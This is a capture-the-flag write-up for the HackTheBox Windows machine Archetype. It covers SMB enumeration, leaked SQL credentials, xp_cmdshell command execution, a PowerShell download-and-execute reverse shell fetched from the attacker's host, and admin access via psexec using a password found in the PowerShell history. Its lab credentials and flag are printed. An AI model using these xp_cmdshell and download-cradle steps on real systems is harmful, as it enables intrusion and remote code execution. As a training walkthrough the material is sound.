[HackTheBox] Archetype

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Categories: htb, windows

privesc_psexec_login

Overview

This is a writeup for HackTheBox VM Archetype. Here's an overview of the enumeration \rightarrow exploitation \rightarrow privilege escalation process:

Killchain




Figure 1: writeup.overview.killchain

TTPs

- $1. \quad 445/\text{tcp/microsoft-ds/Windows Server 2019 Standard 17763 microsoft-ds:} \quad enumerate_proto_smb, \\ enumerate_proto_smb_anonymous_access, privesc_psexec_login$
- $2.\ 1433/tcp/ms-sql-s/Microsoft\ SQL\ Server\ 14.00.1000.00:\ enumerate_proto_sql,\ enumerate_proto_sql_ssis_dtsconfig\ enumerate_app_powershell_history,\ exploit_sql_login,\ exploit_sql_xpcmdshell$

Phase #1: Enumeration

1. Here's the Nmap scan result:

```
# Nmap 7.70 scan initiated Tue Apr 28 07:55:10 2020 as: nmap -vv --reason -Pn -sV -sC
    → --version-all -oN
      /root/toolbox/writeups/htb.archetype/results/10.10.10.27/scans/_quick_tcp_nmap.txt -oX
       /root/toolbox/writeups/htb.archetype/results/10.10.10.27/scans/xml/_quick_tcp_nmap.xml
   Increasing send delay for 10.10.10.27 from 0 to 5 due to 32 out of 106 dropped probes since

→ last increase.

   Nmap scan report for 10.10.10.27
   Host is up, received user-set (0.29s latency).
   Scanned at 2020-04-28 07:55:24 PDT for 59s
   Not shown: 996 closed ports
   Reason: 996 resets
   PORT
            STATE SERVICE
                                REASON
                                                VERSTON
   135/tcp open msrpc
                                syn-ack ttl 127 Microsoft Windows RPC
   139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
10
   445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2019 Standard 17763 microsoft-ds
11
   1433/tcp open ms-sql-s
                                syn-ack ttl 127 Microsoft SQL Server 14.00.1000.00
12
   ms-sql-ntlm-info:
13
       Target_Name: ARCHETYPE
14
       NetBIOS_Domain_Name: ARCHETYPE
15
       NetBIOS_Computer_Name: ARCHETYPE
16
       DNS_Domain_Name: Archetype
17
       DNS_Computer_Name: Archetype
18
   Product_Version: 10.0.17763
19
   ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
20
   Issuer: commonName=SSL Self Signed Fallback
21
   | Public Key type: rsa
   | Public Key bits: 2048
23
   | Signature Algorithm: sha256WithRSAEncryption
   | Not valid before: 2020-04-28T07:32:15
25
   Not valid after: 2050-04-28T07:32:15
   MD5:
            1991 9c41 53a0 c167 df32 b67b 61b8 1d29
27
     SHA-1: 0e4e f065 a8c7 acbc 908f ee2e c308 1d69 b40f 5685
     ----BEGIN CERTIFICATE-
29
     MIIDADCCAeigAwIBAgIQcwBdrws1MrBBCZkTyH2PuzANBgkqhkiG9w0BAQsFADA7
     MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
31
     bABsAGIAYQBjAGswIBcNMjAwNDI4MDczMjE1WhgPMjA1MDAOMjgwNzMyMTVaMDsx
32
     OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
33
     AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALSwuifA
     DN4ACMe7B70oBUbpTthzMerRWg72fCSLmJWqgVrfwqBd/jlqvF2ytwrydVvp0i0b
35
     bBzYnwOqVj2CpEoQCbN2VZPATo1tv6dSbht4BKHdLDQOyLcflcdg+F11W4XCPf7w
36
     b4kMSWQHrr/paE388hh+yW1jyohBGB93tAHRBRFRSOD6u7DcgZxbznvYPf4a4mZN
     P45cLa3FGTR30c6hHCjqKlW4L1P3IjTPfFeUIuW1/3PQHn7ox/1STvIERh/Pfy3X
38
     fkZ4Z5Mar8nxjq1IOnmv6AnXDt4mtnfTzIA+MAZQ3x7h08iX73V83m8pCMZR90nB
39
    /uDq4ln4HctzarkCAwEAATANBgkqhkiG9wOBAQsFAAOCAQEAEj8vggUbVWKJOPG2
40
   nUHJ9T5umrpsw0mmKk+S/cKY3BGqTL1ChttzWytF23SR53iIwFrYLXbApKCE8c8b
     T3zcI6YNsOgqm/H01FNKIaQNeEnVCAMLcugLnca4QeL00ZAHTgmpaUU1V498fw7h
42
   HV1/EOTi2+gt+6QUmNanH0g18Bh0hWX8wwEI1zervPrFU10zrczT6GJy/D4RiAKg
   iW26m2V+Iteo3syO1UQKSCcYsG3+Pwnx1j3SYL4tn68xwR9Jj+cfig/dT3oR1DJN
44
   3s57f0jimwBlIbod2HEdQDpxuijqYszpjTjqnWCvIT3YZip/OLa/12PyU0zwnQE8
   | /R2Bwg==
46
   _----END CERTIFICATE----
   _ssl-date: 2020-04-28T15:10:19+00:00; +14m11s from scanner time.
```

```
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
49
50
   Host script results:
51
    clock-skew: mean: 1h38m11s, deviation: 3h07m50s, median: 14m11s
52
    ms-sql-info:
53
        10.10.10.27:1433:
         Version:
            name: Microsoft SQL Server
56
            number: 14.00.1000.00
            Product: Microsoft SQL Server
58
         TCP port: 1433
    p2p-conficker:
60
        Checking for Conficker.C or higher...
        Check 1 (port 53066/tcp): CLEAN (Couldn't connect)
62
        Check 2 (port 9662/tcp): CLEAN (Couldn't connect)
        Check 3 (port 45578/udp): CLEAN (Timeout)
64
        Check 4 (port 47960/udp): CLEAN (Failed to receive data)
       0/4 checks are positive: Host is CLEAN or ports are blocked
66
   | smb-os-discovery:
        OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
68
        Computer name: Archetype
69
        NetBIOS computer name: ARCHETYPE\x00
70
        Workgroup: WORKGROUP\x00
71
       System time: 2020-04-28T08:10:20-07:00
72
   | smb-security-mode:
73
        account_used: guest
        authentication_level: user
75
        challenge_response: supported
    _ message_signing: disabled (dangerous, but default)
77
    | smb2-security-mode:
       2.02:
79
         Message signing enabled but not required
   smb2-time:
81
       date: 2020-04-28 08:10:22
       start date: N/A
83
   Read data files from: /usr/bin/../share/nmap
85
   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
   # Nmap done at Tue Apr 28 07:56:23 2020 -- 1 IP address (1 host up) scanned in 73.83 seconds
```

2. We find 445/tcp to be open and can use smbclient to check if it allows anonymous access:

```
smbclient -N -L \\\\10.10.10.27
```

```
root@kali: ~/toolbox/data/writeups/htb.archetype # smbclient -N -L \\\\10.10.27
WARNING: The "syslog" option is deprecated
        Sharename
                        Type
                                  Comment
                        Disk
        ADMINS
                                  Remote Admin
        backups
                        Disk
                                  Default share
        C$
                        Disk
        IPC$
                        IPC
                                  Remote IPC
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.27 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
root@kali: ~/toolbox/data/writeups/htb.archetype #
```

Figure 2: writeup.enumeration.steps.2.1

- 3. We find a non-default share named backups which seems interesting. Let's explore further:
- smbclient -N \\\\10.10.10.27\\backups

```
root@kali: ~/toolbox/data/writeups/htb.archetype # smbclient -N \\\10.10.27\\backups
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> dir
                                               0 Mon Jan 20 04:20:57 2020
                                      D
                                              0 Mon Jan 20 04:20:57 2020
  prod.dtsConfig
                                     AR
                                             609 Mon Jan 20 04:23:02 2020
                10328063 blocks of size 4096. 8252967 blocks available
smb: \>
smb: \>
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> exit
root@kali: ~/toolbox/data/writeups/htb.archetype #
```

Figure 3: writeup.enumeration.steps.3.1

4. We find a prod.dtsConfig file on the SMB share. The .dtsConfig files are used by SQL Server Integration Services (SSIS). We find that this file contains plaintext credentials for the default SQL service user:

Figure 4: writeup.enumeration.steps.4.1

Findings

Open Ports

```
135/tcp
                            Microsoft Windows RPC
              msrpc
                             Microsoft Windows netbios-ssn
   139/tcp
              netbios-ssn
2
              microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
   445/tcp
                             Microsoft SQL Server 14.00.1000.00
   1433/tcp
              ms-sql-s
4
   5985/tcp
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
              http
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
   47001/tcp
              http
6
                             Microsoft Windows RPC
   49664/tcp
              msrpc
   49665/tcp
                             Microsoft Windows RPC
              msrpc
                             Microsoft Windows RPC
   49666/tcp
              msrpc
9
   49667/tcp
                             Microsoft Windows RPC
              msrpc
10
                             Microsoft Windows RPC
   49668/tcp
              msrpc
   49669/tcp
              msrpc
                             Microsoft Windows RPC
12
```

Files

prod.dtsConfig

\mathbf{Users}

sql: sql_svc

Phase #2: Exploitation

1. Since the 1443/tcp port is open for SQL service and we also have credentials for the default user, let's connect to the remote service and explore further:

```
mssqlclient.py -windows-auth "sql_svc@10.10.10.27"
```

```
root@kali: ~/toolbox/data/writeups/htb.archetype # mssqlclient.py -windows-auth "sql_svc@10.10.10.27"
Impacket v0.9.22.dev1+20200424.150528.c44901d1 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
```

Figure 5: writeup.exploitation.steps.1.1

2. We find that the user has sysadmin access (highest access level on SQL server) using the IS_SRVROLEMEMBER function. This allows us to enable xp_cmdshell to gain command execution:

```
SELECT IS_SRVROLEMEMBER('sysadmin')

EXEC sp_configure 'Show Advanced Options', 1;

reconfigure;

sp_configure;

EXEC sp_configure 'xp_cmdshell', 1

reconfigure;
```

3. Let's run the whoami command using the xp_cmdshell method and check our current privileges. We find that our current user sql_svc lacks Administrator access on the system:

```
xp_cmdshell "whoami"
```

```
SQL> EXEC sp_configure 'xp_cmdshell', 1
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement t
o install.
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
output

archetype\sql_svc
NULL
SQL>
```

Figure 6: writeup.exploitation.steps.3.1

4. Let's deploy a Powershell reverse shell on the system using xp_cmdshell to gain interactive access on the system:

```
type shell.ps1
xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString(\"http://10.10.14.33/shell.ps1\");"

python3 -m http.server 80
ufw allow from 10.10.10.27 proto tcp to any port 80,443
nc -nlvp 443

root@kali: ~/toolbox/data/writeups/htb.archetype # ufw allow from 10.10.10.27 proto tcp to any port 80,443
Rules updated
```

Figure 7: writeup.exploitation.steps.4.1

```
root@kali: ~/toolbox/data/writeups/htb.archetype # python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.27 - - [28/Apr/2020 09:02:37] "GET /shell.ps1 HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
root@kali: ~/toolbox/data/writeups/htb.archetype #
```

Figure 8: writeup.exploitation.steps.4.2

```
root@kali: ~/toolbox/data/writeups/htb.archetype # nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.27] 49702
```

Figure 9: writeup.exploitation.steps.4.3

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.33/shell.ps1\");"

Figure 10: writeup.exploitation.steps.4.4

5. We can now read the user.txt flag:

```
type C:\Users\sql_svc\Desktop\user.txt
```

root@kali: ~/toolbox/data/writeups/htb.archetype #

Figure 11: writeup.exploitation.steps.5.1

Phase #2.5: Post Exploitation

```
sql_svc@ARCHETYPE> id
   archetype\sql_svc
2
3 sql_svc@ARCHETYPE>
4 sql_svc@ARCHETYPE> uname
5 Host Name:
                           ARCHETYPE
  OS Name:
                          Microsoft Windows Server 2019 Standard
6
                          10.0.17763 N/A Build 17763
OS Version:
8 OS Manufacturer:
                          Microsoft Corporation
  OS Configuration:
                          Standalone Server
9
  sql_svc@ARCHETYPE>
10
  sql_svc@ARCHETYPE> ifconfig
11
   Ethernet adapter Ethernet0 2:
12
     Connection-specific DNS Suffix .:
13
     IPv6 Address. . . . . . . . . : dead:beef::f1b0:217c:824d:11d2
14
     Link-local IPv6 Address . . . . : fe80::f1b0:217c:824d:11d2%7
15
     16
     17
     Default Gateway . . . . . . . : fe80::250:56ff:feb9:339d%7
18
                                     10.10.10.2
19
   sql_svc@ARCHETYPE>
^{20}
   sql_svc@ARCHETYPE> users
21
   sql_svc
22
   Administrator
23
```

Phase #3: Privilege Escalation

- 1. With our interactive shell running, we can now begin exploring the system further. Since the current user is a normal as well as service axxount, let's look at the Powershell history file to find any interesting commands:

```
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
#
```

Figure 12: writeup.privesc.steps.1.1

- 2. We find that the backups drive has been mounted using administrative privileges and the credentials are leaked in plaintext within the history file. We can use these credentials to gain elevated access on the system:
- psexec.py administrator@10.10.10.27

```
root@kali: ~/toolbox/data/writeups/htb.archetype # psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1+20200424.150528.c44901d1 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file zgANJwtU.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service LYke on 10.10.10.27.....
[*] Starting service LYke.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd ..
```

Figure 13: writeup.privesc.steps.2.1

- 3. We can now read the root.txt flag:
- type C:\Users\Administrator\Desktop\root.txt

```
C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is CE13-2325
 Directory of C:\Users\Administrator\Desktop
01/20/2020 06:42 AM
                       <DTR>
01/20/2020 06:42 AM
02/25/2020 07:36 AM
                                   32 root.txt
               1 File(s)
                                    32 bytes
               2 Dir(s) 33,798,447,104 bytes free
C:\Users\Administrator\Desktop>type root.txt
b91ccec3305e98240082d4474b848528
C:\Users\Administrator\Desktop>
```

Figure 14: writeup.privesc.steps.3.1

Loot

Credentials

```
ssh: administrator/MEGACORP_4.....
sql: sql_svc/M3g4c0r....
```

Flags

References

[+] https://www.hackthebox.eu/home/start